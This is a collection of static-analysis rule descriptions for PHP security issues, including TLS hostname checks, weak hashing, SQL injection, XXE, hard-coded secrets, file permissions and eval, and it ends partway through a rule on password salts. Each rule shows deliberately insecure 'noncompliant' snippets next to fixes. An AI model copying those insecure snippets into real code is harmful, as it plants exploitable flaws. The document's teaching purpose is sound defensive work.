Establishing trust in a secure way is a non-trivial task. When you disable hostname validation, you are removing a key mechanism designed to build this trust in internet communication, opening your system up to a number of potential threats.

Identity spoofing

If a system does not validate hostnames, it cannot confirm the identity of the other party involved in the communication. An attacker can exploit this by creating a fake server and masquerading it as a legitimate one. For example, they might set up a server that looks like your bank’s server, tricking your system into thinking it is communicating with the bank. This scenario, called identity spoofing, allows the attacker to collect any data your system sends to them, potentially leading to significant data breaches.

How to fix it in cURL

Code examples

The following code contains examples of disabled hostname validation.

The hostname validation gets disabled by setting CURLOPT_SSL_VERIFYHOST to 0 or false. To enable validation set the value to 2 or true or do not set CURLOPT_SSL_VERIFYHOST at all to use the secure default value.

Noncompliant code example

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'https://example.com/');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);  // Noncompliant
curl_exec($curl);
curl_close($curl);

Compliant solution

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'https://example.com/');
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
curl_exec($curl);
curl_close($curl);

How does this work?

To fix the vulnerability of disabled hostname validation, it is strongly recommended to first re-enable the default validation and fix the root cause: the validity of the certificate.

Use valid certificates

If a hostname validation failure prevents connecting to the target server, keep in mind that one system’s code should not work around another system’s problems, as this creates unnecessary dependencies and can lead to reliability issues.

Therefore, the first solution is to change the remote host’s certificate to match its identity. If the remote host is not under your control, consider replicating its service to a server whose certificate you can change yourself.

In case the contacted host is located on a development machine, and if there is no other choice, try following this solution:

• Create a self-signed certificate for that machine.
• Add this self-signed certificate to the system’s trust store.
• If the hostname is not localhost, add the hostname in the /etc/hosts file.

Resources

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• Mobile AppSec Verification Standard - Network Communication Requirements
• OWASP Mobile Top 10 2016 Category M3 - Insecure Communication
• MITRE, CWE-297 - Improper Validation of Certificate with Host Mismatch

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is possible to have collisions (little computational effort is enough to find two or more different inputs that produce the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

• User-password storage.
• Security token generation (used to confirm e-mail when registering on a website, reset password, etc …​).
• To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 are recommended, and for password hashing, it’s even better to use algorithms that do not compute too "quickly", like bcrypt, scrypt, argon2 or pbkdf2 because it slows down brute force attacks.

Sensitive Code Example

$hash = md5($data); // Sensitive
$hash = sha1($data);   // Sensitive

Compliant Solution

// for a password
$hash = password_hash($password, PASSWORD_BCRYPT); // Compliant

// other context
$hash = hash("sha512", $data);

See

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• Mobile AppSec Verification Standard - Cryptography Requirements
• OWASP Mobile Top 10 2016 Category M5 - Insufficient Cryptography
• MITRE, CWE-1240 - Use of a Risky Cryptographic Primitive
• SANS Top 25 - Porous Defenses

Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2018-0285
• CVE-2000-1127
• CVE-2017-15113
• CVE-2015-5742

Logs are useful before, during and after a security incident.

• Attackers will most of the time start their nefarious work by probing the system for vulnerabilities. Monitoring this activity and stopping it is the first step to prevent an attack from ever happening.
• In case of a successful attack, logs should contain enough information to understand what damage an attacker may have inflicted.

Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged.

This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews.

Ask Yourself Whether

• unauthorized users might have access to the logs, either because they are stored in an insecure location or because the application gives access to them.
• the logs contain sensitive information on a production server. This can happen when the logger is in debug mode.
• the log can grow without limit. This can happen when additional information is written into logs every time a user performs an action and the user can perform the action as many times as he/she wants.
• the logs do not contain enough information to understand the damage an attacker might have inflicted. The loggers mode (info, warn, error) might filter out important information. They might not print contextual information like the precise time of events or the server hostname.
• the logs are only stored locally instead of being backuped or replicated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Check that your production deployment doesn’t have its loggers in "debug" mode as it might write sensitive information in logs.
• Production logs should be stored in a secure location which is only accessible to system administrators.
• Configure the loggers to display all warnings, info and error messages. Write relevant information such as the precise time of events and the hostname.
• Choose log format which is easy to parse and process automatically. It is important to process logs rapidly in case of an attack so that the impact is known and limited.
• Check that the permissions of the log files are correct. If you index the logs in some other service, make sure that the transfer and the service are secure too.
• Add limits to the size of the logs and make sure that no user can fill the disk with logs. This can happen even when the user does not control the logged information. An attacker could just repeat a logged action many times.

Remember that configuring loggers properly doesn’t make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:

• Don’t log any sensitive information. This obviously includes passwords and credit card numbers but also any personal information such as user names, locations, etc…​ Usually any information which is protected by law is good candidate for removal.
• Sanitize all user inputs before writing them in the logs. This includes checking its size, content, encoding, syntax, etc…​ As for any user input, validate using whitelists whenever possible. Enabling users to write what they want in your logs can have many impacts. It could for example use all your storage space or compromise your log indexing service.
• Log enough information to monitor suspicious activities and evaluate the impact an attacker might have on your systems. Register events such as failed logins, successful logins, server side input validation failures, access denials and any important transaction.
• Monitor the logs for any suspicious activity.

Sensitive Code Example

Basic PHP configuration:

function configure_logging() {
  error_reporting(E_RECOVERABLE_ERROR); // Sensitive
  error_reporting(32); // Sensitive

  ini_set('docref_root', '1'); // Sensitive
  ini_set('display_errors', '1'); // Sensitive
  ini_set('display_startup_errors', '1'); // Sensitive
  ini_set('error_log', "path/to/logfile"); // Sensitive - check logfile is secure
  ini_set('error_reporting', E_PARSE ); // Sensitive
  ini_set('error_reporting', 64); // Sensitive
  ini_set('log_errors', '0'); // Sensitive
  ini_set('log_errors_max_length', '512'); // Sensitive
  ini_set('ignore_repeated_errors', '1'); // Sensitive
  ini_set('ignore_repeated_source', '1'); // Sensitive
  ini_set('track_errors', '0'); // Sensitive

  ini_alter('docref_root', '1'); // Sensitive
  ini_alter('display_errors', '1'); // Sensitive
  ini_alter('display_startup_errors', '1'); // Sensitive
  ini_alter('error_log', "path/to/logfile"); // Sensitive - check logfile is secure
  ini_alter('error_reporting', E_PARSE ); // Sensitive
  ini_alter('error_reporting', 64); // Sensitive
  ini_alter('log_errors', '0'); // Sensitive
  ini_alter('log_errors_max_length', '512'); // Sensitive
  ini_alter('ignore_repeated_errors', '1'); // Sensitive
  ini_alter('ignore_repeated_source', '1'); // Sensitive
  ini_alter('track_errors', '0'); // Sensitive
}

Definition of custom loggers with psr/log

abstract class MyLogger implements \Psr\Log\LoggerInterface { // Sensitive
    // ...
}

abstract class MyLogger2 extends \Psr\Log\AbstractLogger { // Sensitive
    // ...
}

abstract class MyLogger3 {
    use \Psr\Log\LoggerTrait; // Sensitive
    // ...
}

Exceptions

No issue will be raised for logger configuration when it follows recommended settings for production servers. The following examples are all valid:

  ini_set('docref_root', '0');
  ini_set('display_errors', '0');
  ini_set('display_startup_errors', '0');

  error_reporting(0);
  ini_set('error_reporting', 0);

  ini_set('log_errors', '1');
  ini_set('log_errors_max_length', '0');
  ini_set('ignore_repeated_errors', '0');
  ini_set('ignore_repeated_source', '0');
  ini_set('track_errors', '1');

See

• OWASP Top 10 2021 Category A9 - Security Logging and Monitoring Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• OWASP Top 10 2017 Category A10 - Insufficient Logging & Monitoring
• MITRE, CWE-117 - Improper Output Neutralization for Logs
• MITRE, CWE-532 - Information Exposure Through Log Files
• SANS Top 25 - Porous Defenses

Clear-text protocols such as ftp, telnet, or http lack encryption of transported data, as well as the capability to build an authenticated connection. It means that an attacker able to sniff traffic from the network can read, modify, or corrupt the transported content. These protocols are not secure as they expose applications to an extensive range of risks:

• sensitive data exposure
• traffic redirected to a malicious endpoint
• malware-infected software update or installer
• execution of client-side code
• corruption of critical information

Even in the context of isolated networks like offline environments or segmented cloud environments, the insider threat exists. Thus, attacks involving communications being sniffed or tampered with can still happen.

For example, attackers could successfully compromise prior security layers by:

• bypassing isolation mechanisms
• compromising a component of the network
• getting the credentials of an internal IAM account (either from a service account or an actual person)

In such cases, encrypting communications would decrease the chances of attackers to successfully leak data or steal credentials from other network components. By layering various security practices (segmentation and encryption, for example), the application will follow the defense-in-depth principle.

Note that using the http protocol is being deprecated by major web browsers.

In the past, it has led to the following vulnerabilities:

• CVE-2019-6169
• CVE-2019-12327
• CVE-2019-11065

Ask Yourself Whether

• Application data needs to be protected against falsifications or leaks when transiting over the network.
• Application data transits over an untrusted network.
• Compliance rules require the service to encrypt data in transit.
• Your application renders web pages with a relaxed mixed content policy.
• OS-level protections against clear-text traffic are deactivated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Make application data transit over a secure, authenticated and encrypted protocol like TLS or SSH. Here are a few alternatives to the most common clear-text protocols:
  • Use ssh as an alternative to telnet.
  • Use sftp, scp, or ftps instead of ftp.
  • Use https instead of http.
  • Use SMTP over SSL/TLS or SMTP with STARTTLS instead of clear-text SMTP.
• Enable encryption of cloud components communications whenever it is possible.
• Configure your application to block mixed content when rendering web pages.
• If available, enforce OS-level deactivation of all clear-text traffic.

It is recommended to secure all transport channels, even on local networks, as it can take a single non-secure connection to compromise an entire application or system.

Sensitive Code Example

$url = "http://example.com"; // Sensitive
$url = "ftp://anonymous@example.com"; // Sensitive
$url = "telnet://anonymous@example.com"; // Sensitive

$con = ftp_connect('example.com'); // Sensitive

$trans = (new Swift_SmtpTransport('XXX', 1234)); // Sensitive

$mailer = new PHPMailer(true); // Sensitive

define( 'FORCE_SSL_ADMIN', false); // Sensitive
define( 'FORCE_SSL_LOGIN', false); // Sensitive

Compliant Solution

$url = "https://example.com";
$url = "sftp://anonymous@example.com";
$url = "ssh://anonymous@example.com";

$con = ftp_ssl_connect('example.com');

$trans = (new Swift_SmtpTransport('smtp.example.org', 1234))
  ->setEncryption('tls')
;

$mailer = new PHPMailer(true);
$mailer->SMTPSecure = 'tls';

define( 'FORCE_SSL_ADMIN', true);
define( 'FORCE_SSL_LOGIN', true);

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

• Insecure protocol scheme followed by loopback addresses like 127.0.0.1 or localhost.

See

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• Mobile AppSec Verification Standard - Network Communication Requirements
• OWASP Mobile Top 10 2016 Category M3 - Insecure Communication
• MITRE, CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
• MITRE, CWE-319 - Cleartext Transmission of Sensitive Information
• Google, Moving towards more secure web
• Mozilla, Deprecating non secure http
• AWS Documentation - Listeners for your Application Load Balancers
• AWS Documentation - Stream Encryption

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

• CVE-2019-13466
• CVE-2018-15389

Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It’s recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", …​

Ask Yourself Whether

• Credentials allow access to a sensitive component like a database, a file storage, an API or a service.
• Credentials are used in production environments.
• Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Store the credentials in a configuration file that is not pushed to the code repository.
• Store the credentials in a database.
• Use your cloud provider’s service for managing secrets.
• If a password has been disclosed through the source code: change it.

Sensitive Code Example

$password = "65DBGgwe4uazdWQA"; // Sensitive

$httpUrl = "https://example.domain?user=user&password=65DBGgwe4uazdWQA" // Sensitive
$sshUrl = "ssh://user:65DBGgwe4uazdWQA@example.domain" // Sensitive

Compliant Solution

$user = getUser();
$password = getPassword(); // Compliant

$httpUrl = "https://example.domain?user=$user&password=$password" // Compliant
$sshUrl = "ssh://$user:$password@example.domain" // Compliant

See

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• MITRE, CWE-798 - Use of Hard-coded Credentials
• MITRE, CWE-259 - Use of Hard-coded Password
• SANS Top 25 - Porous Defenses
• Derived from FindSecBugs rule Hard Coded Password

Rejecting requests with significant content length is a good practice to control the network traffic intensity and thus resource consumption in order to prevents DoS attacks.

Ask Yourself Whether

• size limits are not defined for the different resources of the web application.
• the web application is not protected by rate limiting features.
• the web application infrastructure has limited resources.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• For most of the features of an application, it is recommended to limit the size of requests to:
  • lower or equal to 8mb for file uploads.
  • lower or equal to 2mb for other requests.

It is recommended to customize the rule with the limit values that correspond to the web application.

Sensitive Code Example

For Symfony Constraints:

use Symfony\Component\Validator\Constraints as Assert;
use Symfony\Component\Validator\Mapping\ClassMetadata;

class TestEntity
{
    public static function loadValidatorMetadata(ClassMetadata $metadata)
    {
        $metadata->addPropertyConstraint('upload', new Assert\File([
            'maxSize' => '100M', // Sensitive
        ]));
    }
}

For Laravel Validator:

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;

class TestController extends Controller
{
    public function test(Request $request)
    {
        $validatedData = $request->validate([
            'upload' => 'required|file', // Sensitive
        ]);
    }
}

Compliant Solution

For Symfony Constraints:

use Symfony\Component\Validator\Constraints as Assert;
use Symfony\Component\Validator\Mapping\ClassMetadata;

class TestEntity
{
    public static function loadValidatorMetadata(ClassMetadata $metadata)
    {
        $metadata->addPropertyConstraint('upload', new Assert\File([
            'maxSize' => '8M', // Compliant
        ]));
    }
}

For Laravel Validator:

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;

class TestController extends Controller
{
    public function test(Request $request)
    {
        $validatedData = $request->validate([
            'upload' => 'required|file|max:8000', // Compliant
        ]);
    }
}

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• Owasp Cheat Sheet - Owasp Denial of Service Cheat Sheet
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-770 - Allocation of Resources Without Limits or Throttling
• MITRE, CWE-400 - Uncontrolled Resource Consumption

Why is this an issue?

A hard-coded secret has been found in your code. You should quickly list where this secret is used, revoke it, and then change it in every system that uses it.

Passwords, secrets, and any type of credentials should only be used to authenticate a single entity (a person or a system).

If you allow third parties to authenticate as another system or person, they can impersonate legitimate identities and undermine trust within the organization.
It does not matter if the impersonation is malicious: In either case, it is a clear breach of trust in the system, as the systems involved falsely assume that the authenticated entity is who it claims to be.
The consequences can be catastrophic.

Keeping credentials in plain text in a code base is tantamount to sharing that password with anyone who has access to the source code and runtime servers.
Thus, it is a breach of trust, as these individuals have the ability to impersonate others.

Secret management services are the most efficient tools to store credentials and protect the identities associated with them.
Cloud providers and on-premise services can be used for this purpose.

If storing credentials in a secret data management service is not possible, follow these guidelines:

• Do not store credentials in a file that an excessive number of people can access.
  • For example, not in code, not in a spreadsheet, not on a sticky note, and not on a shared drive.
• Use the production operating system to protect password access control.
  • For example, in a file whose permissions are restricted and protected with chmod and chown.

Noncompliant code example

use Defuse\Crypto\KeyOrPassword;

function createKey() {
    $password = "example";
    return KeyOrPassword::createFromPassword($password); // Noncompliant
}

Compliant solution

Modern web frameworks tend to provide a secure way to pass passwords and secrets to the code. For example, in Symfony you can use vaults to store your secrets. The secret values are referenced in the same way as environment variables, so you can easily access them through configuration parameters.

use Defuse\Crypto\KeyOrPassword;

class PasswordService
{
    private string $password;

    public function setPassword(string $password): void
    {
        $this->password = $password;
    }

    public function createKey(): KeyOrPassword
    {
        return KeyOrPassword::createFromPassword($this->password);
    }
}

Resources

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• MITRE, CWE-798 - Use of Hard-coded Credentials
• MITRE, CWE-259 - Use of Hard-coded Password
• CERT, MSC03-J. - Never hard code sensitive information
• Symfony - Environment Variable Processors
• Symfony - Configuring Symfony
• Symfony - How to Keep Sensitive Information Secret

Formatted SQL queries can be difficult to maintain, debug and can increase the risk of SQL injection when concatenating untrusted values into the query. However, this rule doesn’t detect SQL injections (unlike rule S3649), the goal is only to highlight complex/formatted queries.

Ask Yourself Whether

• Some parts of the query come from untrusted values (like user inputs).
• The query is repeated/duplicated in other parts of the code.
• The application must support different types of relational databases.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Use parameterized queries, prepared statements, or stored procedures and bind variables to SQL query parameters.
• Consider using ORM frameworks if there is a need to have an abstract layer to access data.

Sensitive Code Example

$id = $_GET['id'];
mysql_connect('localhost', $username, $password) or die('Could not connect: ' . mysql_error());
mysql_select_db('myDatabase') or die('Could not select database');

$result = mysql_query("SELECT * FROM myTable WHERE id = " . $id);  // Sensitive, could be susceptible to SQL injection

while ($row = mysql_fetch_object($result)) {
    echo $row->name;
}

Compliant Solution

$id = $_GET['id'];
try {
    $conn = new PDO('mysql:host=localhost;dbname=myDatabase', $username, $password);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    $stmt = $conn->prepare('SELECT * FROM myTable WHERE id = :id');
    $stmt->execute(array('id' => $id));

    while($row = $stmt->fetch(PDO::FETCH_OBJ)) {
        echo $row->name;
    }
} catch(PDOException $e) {
    echo 'ERROR: ' . $e->getMessage();
}

Exceptions

No issue will be raised if one of the functions is called with hard-coded string (no concatenation) and this string does not contain a "$" sign.

$result = mysql_query("SELECT * FROM myTable WHERE id = 42") or die('Query failed: ' . mysql_error());  // Compliant

The current implementation does not follow variables. It will only detect SQL queries which are concatenated or contain a $ sign directly in the function call.

$query = "SELECT * FROM myTable WHERE id = " . $id;
$result = mysql_query($query);  // No issue will be raised even if it is Sensitive

See

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
• SANS Top 25 - Insecure Interaction Between Components
• Derived from FindSecBugs rules Potential SQL/JPQL Injection (JPA), Potential SQL/JDOQL Injection (JDO), Potential SQL/HQL Injection (Hibernate)

This rule is deprecated, and will eventually be removed.

Using sockets is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2011-178
• CVE-2017-5645
• CVE-2018-6597

Sockets are vulnerable in multiple ways:

• They enable a software to interact with the outside world. As this world is full of attackers it is necessary to check that they cannot receive sensitive information or inject dangerous input.
• The number of sockets is limited and can be exhausted. Which makes the application unresponsive to users who need additional sockets.

This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections.

Ask Yourself Whether

• sockets are created without any limit every time a user performs an action.
• input received from sockets is used without being sanitized.
• sensitive data is sent via sockets without being encrypted.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• In many cases there is no need to open a socket yourself. Use instead libraries and existing protocols.
• Encrypt all data sent if it is sensitive. Usually it is better to encrypt it even if the data is not sensitive as it might change later.
• Sanitize any input read from the socket.
• Limit the number of sockets a given user can create. Close the sockets as soon as possible.

Sensitive Code Example

function handle_sockets($domain, $type, $protocol, $port, $backlog, $addr, $hostname, $local_socket, $remote_socket, $fd) {
    socket_create($domain, $type, $protocol); // Sensitive
    socket_create_listen($port, $backlog); // Sensitive
    socket_addrinfo_bind($addr); // Sensitive
    socket_addrinfo_connect($addr); // Sensitive
    socket_create_pair($domain, $type, $protocol, $fd);

    fsockopen($hostname); // Sensitive
    pfsockopen($hostname); // Sensitive
    stream_socket_server($local_socket); // Sensitive
    stream_socket_client($remote_socket); // Sensitive
    stream_socket_pair($domain, $type, $protocol); // Sensitive
}

See

• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-20 - Improper Input Validation
• MITRE, CWE-400 - Uncontrolled Resource Consumption ('Resource Exhaustion')
• MITRE, CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
• SANS Top 25 - Risky Resource Management
• SANS Top 25 - Porous Defenses

This vulnerability allows the usage of external entities in XML.

Why is this an issue?

External Entity Processing allows for XML parsing with the involvement of external entities. However, when this functionality is enabled without proper precautions, it can lead to a vulnerability known as XML External Entity (XXE) attack.

What is the potential impact?

Exposing sensitive data

One significant danger of XXE vulnerabilities is the potential for sensitive data exposure. By crafting malicious XML payloads, attackers can reference external entities that contain sensitive information, such as system files, database credentials, or configuration files. When these entities are processed during XML parsing, the attacker can extract the contents and gain unauthorized access to sensitive data. This poses a severe threat to the confidentiality of critical information.

Exhausting system resources

Another consequence of XXE vulnerabilities is the potential for denial-of-service attacks. By exploiting the ability to include external entities, attackers can construct XML payloads that cause resource exhaustion. This can overwhelm the system’s memory, CPU, or other critical resources, leading to system unresponsiveness or crashes. A successful DoS attack can disrupt the availability of services and negatively impact the user experience.

Forging requests

XXE vulnerabilities can also enable Server-Side Request Forgery (SSRF) attacks. By leveraging the ability to include external entities, an attacker can make the vulnerable application send arbitrary requests to other internal or external systems. This can result in unintended actions, such as retrieving data from internal resources, scanning internal networks, or attacking other systems. SSRF attacks can lead to severe consequences, including unauthorized data access, system compromise, or even further exploitation within the network infrastructure.

How to fix it in Core PHP

Code examples

The following code contains examples of XML parsers that have external entity processing enabled. As a result, the parsers are vulnerable to XXE attacks if an attacker can control the XML file that is processed.

Noncompliant code example

$xml = file_get_contents('xxe.xml');
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); // Noncompliant

$doc = new DOMDocument();
$doc->load('xxe.xml', LIBXML_NOENT); // Noncompliant

$reader = new XMLReader();
$reader->open('xxe.xml');
$reader->setParserProperty(XMLReader::SUBST_ENTITIES, true); // Noncompliant

Compliant solution

External entity substitution is disabled by default in simplexml_load_string() and DOMDocument::open().

$xml = file_get_contents('xxe.xml');
$doc = simplexml_load_string($xml, 'SimpleXMLElement');

$doc = new DOMDocument();
$doc->load('xxe.xml');

$reader = new XMLReader();
$reader->open('xxe.xml');
$reader->setParserProperty(XMLReader::SUBST_ENTITIES, false);

How does this work?

Disable external entities

The most effective approach to prevent XXE vulnerabilities is to disable external entity processing entirely, unless it is explicitly required for specific use cases. By default, XML parsers should be configured to reject the processing of external entities. This can be achieved by setting the appropriate properties or options in your XML parser library or framework.

If external entity processing is necessary for certain scenarios, adopt a whitelisting approach to restrict the entities that can be resolved during XML parsing. Create a list of trusted external entities and disallow all others. This approach ensures that only known and safe entities are processed.
You should rely on features provided by your XML parser to restrict the external entities.

Resources

Standards

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A4 - XML External Entities (XXE)
• MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
• MITRE, CWE-827 - Improper Control of Document Type Definition

This rule is deprecated; use S4790 instead.

Why is this an issue?

The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160.

Consider using safer alternatives, such as SHA-256, SHA-512 or SHA-3.

Noncompliant code example

$password = ...

if (md5($password) === '1f3870be274f6c49b3e31a0c6728957f') { // Noncompliant; md5() hashing algorithm is not secure for password management
   [...]
}

if (sha1($password) === 'd0be2dc421be4fcd0172e5afceea3970e2f3d940') { // Noncompliant; sha1() hashing algorithm is not secure for password management
   [...]
}

Resources

• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-328 - Reversible One-Way Hash
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses
• SHAttered - The first concrete collision attack against SHA-1.

This rule is deprecated, and will eventually be removed.

Why is this an issue?

sleep is sometimes used in a mistaken attempt to prevent Denial of Service (DoS) attacks by throttling response rate. But because it ties up a thread, each request takes longer to serve that it otherwise would, making the application more vulnerable to DoS attacks, rather than less.

Noncompliant code example

if (is_bad_ip($requester)) {
  sleep(5);  // Noncompliant
}

Resources

• OWASP Top 10 2017 Category A6 - Security Misconfiguration

If a session ID can be guessed (not generated with a secure pseudo random generator, or with insufficient length …​) an attacker may be able to hijack another user’s session.

Ask Yourself Whether

• the session ID is not unique.
• the session ID is set from a user-controlled input.
• the session ID is generated with not secure pseudo random generator.
• the session ID length is too short.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Don’t manually generate session IDs, use instead language based native functionality.

Sensitive Code Example

session_id(bin2hex(random_bytes(4))); // Sensitive: 4 bytes is too short
session_id($_POST["session_id"]); // Sensitive: session ID can be specified by the user

Compliant Solution

session_regenerate_id(); ; // Compliant
session_id(bin2hex(random_bytes(16))); // Compliant

See

• OWASP Top 10 2021 Category A4 - Insecure Design
• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• OWASP Sesssion Fixation
• MITRE, CWE-330 - Use of Insufficiently Random Values
• MITRE, CWE-340 - Generation of Predictable Numbers or Identifiers
• PHP: random_bytes()
• PHP: session_regenerate_id()

In Unix file system permissions, the "others" category refers to all users except the owner of the file system resource and the members of the group assigned to this resource.

Granting permissions to this category can lead to unintended access to files or directories that could allow attackers to obtain sensitive information, disrupt services or elevate privileges.

Ask Yourself Whether

• The application is designed to be run on a multi-user environment.
• Corresponding files and directories may contain confidential information.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

The most restrictive possible permissions should be assigned to files and directories.

Sensitive Code Example

chmod("foo", 0777); // Sensitive

umask(0); // Sensitive
umask(0750); // Sensitive

For Symfony Filesystem:

use Symfony\Component\Filesystem\Filesystem;

$fs = new Filesystem();
$fs->chmod("foo", 0777); // Sensitive

For Laravel Filesystem:

use Illuminate\Filesystem\Filesystem;

$fs = new Filesystem();
$fs->chmod("foo", 0777); // Sensitive

Compliant Solution

chmod("foo", 0750); // Compliant

umask(0027); // Compliant

For Symfony Filesystem:

use Symfony\Component\Filesystem\Filesystem;

$fs = new Filesystem();
$fs->chmod("foo", 0750); // Compliant

For Laravel Filesystem:

use Illuminate\Filesystem\Filesystem;

$fs = new Filesystem();
$fs->chmod("foo", 0750); // Compliant

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A4 - Insecure Design
• OWASP Top 10 2017 Category A5 - Broken Access Control
• OWASP File Permission
• MITRE, CWE-732 - Incorrect Permission Assignment for Critical Resource
• MITRE, CWE-266 - Incorrect Privilege Assignment
• SANS Top 25 - Porous Defenses

Executing code dynamically is security-sensitive. It has led in the past to the following vulnerabilities:

• CVE-2017-9807
• CVE-2017-9802

Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application’s security.

This rule marks for review each occurrence of the eval function. This rule does not detect code injections. It only highlights the use of APIs which should be used sparingly and very carefully. The goal is to guide security code reviews.

Ask Yourself Whether

• the executed code may come from an untrusted source and hasn’t been sanitized.
• you really need to run code dynamically.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Regarding the execution of unknown code, the best solution is to not run code provided by an untrusted source. If you really need to do it, run the code in a sandboxed environment. Use jails, firewalls and whatever means your operating system and programming language provide (example: Security Managers in java, iframes and same-origin policy for javascript in a web browser).

Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way.

Avoid using dynamic code APIs whenever possible. Hard-coded code is always safer.

Sensitive Code Example

eval($code_to_be_dynamically_executed)

See

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

This vulnerability increases the likelihood that attackers are able to compute the cleartext of password hashes.

Why is this an issue?

During the process of password hashing, an additional component, known as a "salt," is often integrated to bolster the overall security. This salt, acting as a defensive measure, primarily wards off certain types of attacks that leverage pre-computed tables to crack passwords.

However, potential risks emerge when the salt is deemed insecure. This can occur when the salt is consistently the same across all users or when it is too short or predictable. In scenarios where users share the same password and salt, their password hashes will inevitably mirror each other. Similarly, a short salt heightens the probability of multiple users unintentionally having identical salts, which can potentially lead to identical password hashes. These identical hashes streamline the process for potential attackers to recover clear-text passwords. Thus, the emphasis on implementing secure, unique, and sufficiently lengthy salts in password-hashing functions is vital.

What is the potential impact?

Despite best efforts, even well-guarded systems might have vulnerabilities that could allow an attacker to gain access to the hashed passwords. This could be due to software vulnerabilities, insider threats, or even successful phishing attempts that give attackers the access they need.

Once the attacker has these hashes, they will likely attempt to crack them using a couple of methods. One is brute force, which entails trying every possible combination until the correct password is found. While this can be time-consuming, having the same salt for all users or a short salt can make the task significantly easier and faster.

If multiple users have the same password and the same salt, their password hashes would be identical. This means that if an attacker successfully cracks one hash, they have effectively cracked all identical ones, granting them access to multiple accounts at once.

A short salt, while less critical than a shared one, still increases the odds of different users having the same salt. This might create clusters of password hashes with identical salt that can then be attacked as explained before.

With short salts, the probability of a collision between two users' passwords and salts couple might be low depending on the salt size. The shorter the salt, the higher the collision probability. In any case, using longer, cryptographically secure salt should be preferred.

